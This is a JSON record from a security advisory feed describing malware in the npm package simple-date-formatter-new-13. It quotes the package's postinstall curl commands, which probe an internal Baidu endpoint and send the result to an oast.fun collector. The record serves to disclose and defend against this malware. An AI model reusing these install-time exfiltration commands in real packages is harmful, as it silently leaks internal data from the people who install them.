{"items":[{"id":"NVI-00012394","kind":"supply_chain_event","title":"Malicious code in simple-date-formatter-new-13 (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-539g-4gx9-g555"],"plain_summary":"GitHub lists this malware advisory for simple-date-formatter-new-13. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-37d29980cbf810c795e7fe4a238c2274"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-37d29980cbf810c795e7fe4a238c2274","url":"https://github.com/advisories/GHSA-539g-4gx9-g555","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-539g-4gx9-g555","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:59:09.082Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-37d29980cbf810c795e7fe4a238c2274"],"technology":"simple-date-formatter-new-13","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)\nsimple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d \"$(cat /tmp/bsrc.txt...)\" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.\n\n---\n\nCredit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/70a54c64ed12966f820d7ef17b912c81c4a2d56d/osv/malicious/npm/simple-date-formatter-new-13/MAL","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-11-01T01:45:40.758Z","source_updated_at":"2026-09-24T15:31:22.000Z","source_disclosed_at":"2026-09-24T15:31:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T00:59:09.082Z"}],"next_cursor":null,"snapshot_revision":"42594"}